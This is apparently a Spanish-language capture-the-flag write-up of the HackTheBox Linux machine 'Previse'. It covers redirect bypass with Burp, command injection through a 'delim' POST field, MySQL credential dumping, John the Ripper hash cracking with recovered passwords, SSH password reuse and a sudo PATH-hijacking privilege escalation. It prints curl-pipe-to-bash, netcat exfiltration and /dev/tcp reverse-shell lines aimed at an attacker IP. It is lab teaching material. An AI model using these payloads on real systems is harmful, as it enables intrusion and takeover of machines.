HackTheBox - Previse

Lanz
Funk Lanz el
HackTheBox - Previse

Máquina Linux nivel fácil. Vamos a bypassear redirecciones, inyectar comandos en peticiones, crakeaziohn de hashes salados yyyyy a jugamientos con un Path Hijacking para ejecutar comandos como diosito.

373previseHTB

TL;DR (Spanish writeup)

Creada por: m4lwhere.

La paciencia, la pa ci en cia.

Encontraremos una web con un login panel inicialmente, existen otros recursos, pero gracias a los redirects no tendremos acceso a ellos. Jugaremos un Burp para modificar los códigos de estado y así ver lo que antes no 👻.

Podremos crearnos una cuenta para pasar el login panel, estando dentro veremos un objeto comprimido que contiene un backup del sitio en el que estamos, por lo que podemos ver el código PHP de los recursos con los que interactuamos.

Encontraremos la posibilidad de inyectar comandos en una petición, usándola lograremos una Reverse Shell en el sistema como el usuario www-data.

Enumerando el servicio MySQL tendremos las credenciales de los usuarios del sitio web. Entre ellos esta m4lwhere que también es usuario del sistema, jugando con John The Ripper crackearemos su contraseña y haciendo reutilización de contraseñas lograremos una sesión por SSH como m4lwhere.

Finalmente, encontraremos un script que llama al binario gzip sin una ruta absoluta, apoyados en que tenemos permisos como root para ejecutar ese script, efectuaremos un Path Hijacking y obtendremos una Shell en el sistema como root.

Clasificación de la máquina según la gentesita

Poco real y bastante juguetona :/

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Es como si no estuvieras viviendo realmente…

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral - Crackeamos contraseñas de la db.
  5. Escalada de privilegios.

Reconocimiento #


Enumeración de puertos con nmap 🔗

Como siempre empezaremos descubriendo que puertos (servicios) están abiertos en la máquina, usaremos nmap para eso:

❱ nmap -p- --open -v 10.10.11.104 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Nos devuelve:

# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 () Status: Up
Host: 10.10.11.104 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 97.77 seconds
Puerto Descripción
22 SSH: Nos permite obtener una Shell de forma segura.
80 HTTP: Nos ofrece un servidor web.

Lo siguiente será intentar descubrir que versión esta siendo ejecutada en cada servicio y además si alguno de los scripts de nmap nos muestra algo adicional contra ellos:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso son solo 2 puertos, pero donde fueran muchos más seria muuuy útil

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.104
    [*] Open ports: 22,80

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80 -sC -sV 10.10.11.104 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo
# Nmap 7.80 scan initiated Mon Aug 23 25:25:25 2021 as: nmap -p 22,80 -sC -sV -oN portScan 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 23 25:25:25 2021 -- 1 IP address (1 host up) scanned in 21.35 seconds

Y obtenemos:

Puerto Servicio Versión
22 SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80 HTTP Apache httpd 2.4.29

Vemos un login.php, pero poco más, exploremos a ver que encontramos.

Enumeración #


Dando vueltas por el puerto 80 🔗

Si nos dirigimos a la web encontramos un login panel:

Intentando credenciales por default no logramos pasarlo y probando algún bypass tampoco, así que sigamos enumerando…

Podemos probar a descubrir directorios y archivos que la web esté sirviendo, pero que están fuera de nuestra vista (fuzzeo):

❱ dirsearch.py -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt -u http://10.10.11.104
...
Target: http://10.10.11.104/

[25:25:25] Starting: 
[25:25:25] 302 -    3KB - /index.php  ->  login.php
[25:25:25] 200 -    2KB - /login.php
[25:25:25] 302 -    0B  - /download.php  ->  login.php
[25:25:25] 200 -    0B  - /config.php
[25:25:25] 200 -  217B  - /footer.php
[25:25:25] 200 -  980B  - /header.php
[25:25:25] 200 -   15KB - /favicon.ico
[25:25:25] 302 -    0B  - /logout.php  ->  login.php
[25:25:25] 302 -    3KB - /.  ->  login.php
[25:25:25] 403 -  277B  - /.html
[25:25:25] 403 -  277B  - /.php
[25:25:25] 302 -    3KB - /status.php  ->  login.php
[25:25:25] 403 -  277B  - /.htm
[25:25:25] 403 -  277B  - /.htpasswds
[25:25:25] 200 -    1KB - /nav.php
[25:25:25] 302 -    4KB - /accounts.php  ->  login.php
[25:25:25] 302 -    5KB - /files.php  ->  login.php
[25:25:25] 403 -  277B  - /wp-forum.phps
[25:25:25] 403 -  277B  - /.htuser
[25:25:25] 403 -  277B  - /.htc
[25:25:25] 403 -  277B  - /.ht
...

Opa, hay varios archivos, pero la mayoría nos redireccionan (status 302) al objeto login.php (donde estamos), validando contra los que no nos redireccionan a ningún lado llegamos a nav.php:

Tenemos un tipo de “menú” en el que se referencian los objetos que vimos antes, por lo cual también llegaremos a login.php, peeeeeeeeeeero hay nombres muy interesantes, el que más resaltó fue Create Account (accounts.php), ya que tenemos un login panel, pero no una cuenta, por lo que si llegamos a crear una, podremos usarlo ¿no?

Explotación #


Evitamos redirect al interactuar con la web 🔗

Acá recordé algo que podemos probar. Sabemos que si vamos por ejemplo a accounts.php seremos redireccionados (status 302) al recurso login.php, peeeeero ¿y si interceptamos la petición hacia accounts.php y en vez del status code 302 lo cambiamos por un 200 Ok?

Al hacer eso le estaríamos diciendo que en vez de un redirect nos devuelva el contenido del objeto consultado (si lo encuentra) 🤗

Usemos BurpSuite para que sea más grafico…

Jugando con BurpSuite y las respuestas del servidor 🕹️

Lo primero será activar una opción (flecha izquierda) y desactivar otra (pos flecha derecha) para que nos permita modificar la respuesta del servidor:

Listos, ahora sí, activamos el proxy tanto en Burp como en la web, hacemos una petición hacia accounts.php (dando clic en Create Account) y en nuestro Burp veríamos:

Damos clic en forward para que siga con la petición y obtenemos…

  • El código de estado indicando un redirect (302 Found):

  • Opaaa, tamos viendo la respuesta del archivo accounts.php.

  • El formulario con el que envía los datos de creación.

Peeeeerrrrfectooooooo, ya teniendo los datos del formulario podríamos jugar con cositas, peeeeeeeeeero hagamos lo que vinimos a hacer :P cambiemos el status code 302 Found por 200 OK:

Antes:

Después:

Damos clic en forward para que envíe la petición. Y en la web vemooooooooooooooooooooos:

(El diseño es taaaaaan blanco que nos vamos a quedar sin ojitos)

VAMOOOOOOOOOOOOOOOOOOOOOS, logramos ver el contenido renderizado del recurso accounts.php bypasseando el redirect inicial ¿lindo no?

Bien, ahora que podemos crear cuentas, pues generemos una…

Después de hacerlo nos redirecciona a login.php, escribimos las credenciales que usamos para crear la cuenta yyyyyyyyyyyyyyy:

Pelfeto, tamos dentro del servidor web (: Visitando FILES (que nos lleva a files.php) vemos esto:

😮 hay un comprimido que parece contener un backup del sitio web, si damos clic sobre él se descarga:

❱ file siteBackup.zip 
siteBackup.zip: Zip archive data, at least v2.0 to extract

Pues… juguemos…

Viendo código fuente (objetos del sitio web) 🔗

Pues sí, es un backup de los objetos que maneja la página web, pues demos algunas vueltas a ver que encontramos en ellos…

De primeras el objeto llamativo es config.php:

VAMO PA IA! Tenemos las credenciales usadas por el usuario root contra el servidor de base de datos MySQL. Intentando reutilización de contraseñas no logramos que sean funcionales, pero quizás cuando estemos adentro del sistema (que lo estaremooooooooooooooos) podamos probar mysql con esas creds…

Revisando el objeto logs.php vemos una interacción bastaaaaaaante llamativa:

📑 Código completo: logs.php

Ufff, lo primero que vemos es que esta ejecutando en el sistema (exec(...)) un script de Python llamado log_process.py que recibe un argumento, peeeeeeero el argumento lo toma del contenido de la variable delim que viaja con el método POST sin ninguna validación 😳 ¿Y de dónde llega esa variable? Bien, acá entra el objeto file_logs.php:

📑 Código completo: file_logs.php

Como vemos toma una opción entre comma, space o tab y una vez es procesada la petición se envía al recurso logs.php la variable delim mediante el método POST:

...
    <form action="logs.php" method="post">
...
        <select class="uk-select" name="delim" id="delim-log">
...

En la web sería este output:

Si interceptamos con Burp al momento de dar Submit veríamos la petición y el campo delim:

Y si la procesamos:

Tenemos una lista de ítems separados por comas (el valor de delim) de las veces que un usuario ha intentado descargar algún archivo del sitio, no profundizaré en esto, pero les dejo el recurso con el que se genera ese contenido, solo relaciónenlo con logs.php y les queda claritico.

📑 Código completo: download.php

Así que el que separa los ítems es el programa de Python. Volvamos a ver el código para ahora si jugar con esto:

📑 Código completo: logs.php

Si simulamos la interacción seria algo así si a delim le llega comma:

...
delim=comma
...
exec("/usr/bin/python /opt/scripts/log_process.py comma")
...

No hay validación ni sanitizacion de nada, por, lo, queeeeeeee, apoyados en que esta usando exec() y prácticamente estamos interactuando a fuuuull con la función, podríamos enviar en delim ialgo como:

...
delim=comma;whoami
...
exec("/usr/bin/python /opt/scripts/log_process.py comma;whoami")
...

Por lo que la función exec() ejecutaría el programa de Python y como al final encuentra una nueva instrucción (;) intentaría ejecutarla, o sea nuestro whoami :o

Pos probemoooooooooooooooooos…

RCE usando command injection en la web 🔗

Interceptamos de nuevo la petición y agregamos nuestro delim malicioso:

Enviamos yyyyyyyyyyyyyyy:

Nada 🤡

Acá se me ocurrió que quizás se podría estar sobre escribiendo el output del comando, ya que el objeto logs.php tiene dos outputs largos, entonces pensé en intentar el command injection, pero que el output del comando nos lo envíe a un puerto en el que estemos en escucha, pues probemos (acostúmbrense a probar de todoooooooooooooooo, hasta lo más loco y obvio):

Levantamos el puerto 4433 con netcat, ahí será donde le indiquemos que envíe el resultado (en caso de que exista el command injection) del comando:

❱ nc -lvp 4433

Y ahora en la petición:

delim=whoami | nc 10.10.14.93 4433

URLencodeada para que tome tooodo como una misma línea:

Enviamos yyyyyyyyyyyyyyyyyyy:

PEEEEEEEEEEEEEEEERFECTOOOOOOOOOOOOOOOOO, recibimos la petición y vemos el resultado del comando whoami, somos www-data, por lo cuaaaaaal, tenemos ejecución remota de comandos en el sistemaaaaaaaaaaaaaa.

⛷️ 🏂

Entablémonos una reverse shell…

De las formas que intente la que me funciono fue esta:

(Lo primero es validar si existe curl o wget en el sistema: apoyados en la explotación haríamos algo así: delim=comma;which curl | nc 10.10.14.93 4433 y si nos devuelve la ruta absoluta de cURL, sabemos que existe, en este caso la devolvió).

Levantamos un servidor web con Python:

❱ python3 -m http.server

Creamos un archivo .sh el cual va a contener tooooodas las instrucciones que queremos que el sistema ejecute, en este caso nuestra reverse shell:

❱ cat rev.sh 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.93/4433 0>&1

Ahora volvemos a levantar el puerto 4433 para recibir la shell ahí:

❱ nc -lvp 4433

Y finalmente usando delim ejecutamos:

...
delim=comma;curl http://10.10.14.93:8000/rev.sh | bash

URLencodeado:

Lanzamos la petición y en nuestro netcat:

T E N E M O S acceso a la máquina como el usuario www-data :(:(:(:(:(:

Antes de seguir hagamos que nuestra Shell sea bonita (tratamiento de la TTY) y además de eso que nos permita ejecutar Ctrl^C, movernos entre comandos y tener histórico de lo que hemos ejecutado:

Sigamos juaquiando…

Cree un script que automatiza la obtención de la Reverse Shell - rediRCE.py

MySQL (cracking): www-data -> m4lwhere #

Si recordamos teníamos credenciales contra el servicio mysql, veamos si son válidas:

Son válidas, pues profundicemos a ver si hay algo que nos sirva pa’ algo…

Existen estas bases de datos:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+

Veamos primero previse:

mysql> use previse;

Listemos sus tablas:

mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+

Solo dos, descubramos lo que hay en accounts:

Bien, tenemos la tabla donde se guardan todos los usuarios de la web, como usuario principal vemos a m4lwhere, que también es un usuario del sistema:

Pos tomemos los hashes (contraseñas), creémonos un archivo con ellas dentro e intentemos crackearlas (pasar de hash a texto plano):

(Claramente quito a lanza que fue la cuenta que yo cree :P)

SPOILEEEEEEEEEER THINGGGGG

Antes de seguir, algo curioso de los hashes es que tienen un símbolo que no es reconocido por la terminal, pero si copiamos cualquiera de ellos y lo pegamos en el navegador, vemos que contiene:

Un emoji de un tarrito de sal, queeeee si buscamos en nuestros archivos (ya sea en /var/www/html o en los que nos devolvió el comprimido con el backup) el objeto accounts.php contiene la creación del hash y la asignación de esa salt:

Solo quería mostrarles eso :P y decir que da igual que sea un emoji, finalmente es un conjunto de texto llevado a imagen, si existe coincidencia al crackearlo, nos lo mostrara (:

Jugaremos con John the Ripper:

❱ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_website_done 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
...

John nos indica que le podemos agregar el formato md5crypt-long (que él detecta que los hashes son de ese tipo) para que si o si pruebe únicamente contra ese formato, pos démosle:

❱ john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hashes_website_done

Esperamos un rato a que juegue con toooodo el archivo rockyou.txt (nuestro diccionario) yyyyyyyyyyyy:

❱ john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hashes_website_done 
...
admin123         (admin)
...
ilovecody1l2235! (m4lwhere)
...

Opaaaaaaaaaaa, las contraseñas en texto plano de los dos usuarios de la web, pero nos quedaremos con la de m4lwhere e intentaremos reutilización de contraseñas a ver si son válidas contra el sistema:

❱ ssh m4lwhere@10.10.11.104

VA PA IIIIIIIIII, son válidas y tenemos una sesión en el sistema como él (:

Escalada de privilegios #

Enumerando el sistema encontramos el script que se usa en la web y además vemos otro:

m4lwhere@previse:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6 12:49 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6 12:25 log_process.py

Jmmm, access_backup.sh, tenemos permisos tanto de lectura como de ejecución, a veeeel:

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Ojito, hay dos cosas bastaaante interesantes, esta referencia:

This is configured to run with cron, added to sudo so I can run as needed

Que nos indica que la tarea ha sido asignada a una crontab yyyyy además agregada al archivo sudoers para que podamos correrla usando sudo:

Efectivamente, podemos ejecutar /opt/scripts/access_backup.sh como otro usuario, en este caso como root 🤸‍♂️

Y lo otro interesante es la forma en que llama al binario gzip:

gzip -c ...

Lo hace sin una ruta absoluta, ¿ya sabes que sigue y que vamos a explotar? Ajá, un Path Hijacking

Explicación rápida del Path Hijacking que haremos 🔗


Un Path Hijacking es muy sencillo de entender, todo se centra en la variable PATH del sistema:

m4lwhere@previse:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Él -sistema- usa esa variable para buscar en cada uno de los directorios que la componen los programas que ejecutamos en la línea de comandos.

En este caso vamos a ejecutar el programa gzip (que sirve para comprimir objetos), busquémoslo y obtengamos su ruta absoluta:

m4lwhere@previse:~$ which gzip
/bin/gzip

Ahí la tenemos, por lo que al ejecutar gzip (sin ruta absoluta) en la terminal, va a buscar en cada directorio del PATH y finalmente encontrara que el binario esta alojado en /bin, gráficamente seria esto:

ENTOOOOOOOOOOOOONCES, la explotación se basa en que nosotros generemos un archivo llamado gzip y -secuestremos- la variable PATH para que al ejecutar gzip el sistema encuentre PRIMERO el objeto que nosotros creamos. POOOOOOOOOOOOR lo que ejecutara tooodo lo que contenga (:

Como en este caso el binario gzip puede ser ejecutado como el usuario root, todo lo que tenga será ejecutado como tal, explotemos esta vaina…

Hacemos el Path Hijacking 🔗

Guardamos el valor del PATH por si algo:

m4lwhere@previse:~$ old_path=$PATH
m4lwhere@previse:~$ echo $old_path 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Ahora, nuestro entorno de trabajo será la carpeta /tmp/testt, creémosla:

m4lwhere@previse:~$ mkdir /tmp/testt; cd /tmp/testt

Creamos nuestro archivo gzip malicioso, como prueba inicial digámosle que ejecute el comando id y su resultado lo guarde en el archivo /tmp/testt/id.txt:

m4lwhere@previse:/tmp/testt$ echo "id > /tmp/testt/id.txt" > gzip
m4lwhere@previse:/tmp/testt$ cat gzip 
id > /tmp/testt/id.txt

Le damos permisos de ejecución:

m4lwhere@previse:/tmp/testt$ chmod +x gzip

Ya tendríamos el ejecutable, ahora modifiquemos el PATH

Agregamos /tmp/testt al inicio del PATH y concatenamos el valor actual del mismo:

m4lwhere@previse:/tmp/testt$ export PATH=/tmp/testt:$PATH
m4lwhere@previse:/tmp/testt$ echo $PATH
/tmp/testt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Peeeerrrfesto, ya lo único sería ejecutar la instrucción que invoca el binario gzip, en este caso el script, peeeero con ayuda de sudo, así toda la ejecución seria como el usuario root:

YYYYYYYYYYY si sisisisiii, estamos ejecutando comandos en el sistema como el usuario root :D entablémonos una reverse shell:

👁️‍🗨️ OJO (podemos obtener una Shell como root de muuuchas formas con este vector, ya queda en tu imaginación)

Modificamos el archivo gzip:

m4lwhere@previse:/tmp/testt$ echo "bash -i >& /dev/tcp/10.10.14.93/4434 0>&1" > gzip 
m4lwhere@previse:/tmp/testt$ cat gzip 
bash -i >& /dev/tcp/10.10.14.93/4434 0>&1

Nos ponemos en escucha por el puerto 4434:

❱ nc -lvp 4434

Ejecutamos el script yyyy 🥁:

OBTENEMOS UNA SHELL COMO root, tamos tamos que tamoooos!!

Ya podríamos ver las flags:

fffffffffinalizau’

Bonita explotación, el inspeccionar código y buscar el fallo me gusto bastante.

Como siempre, una buena canción y a s e g u i r rompiendo t o d o!!

Comments

comments powered by Disqus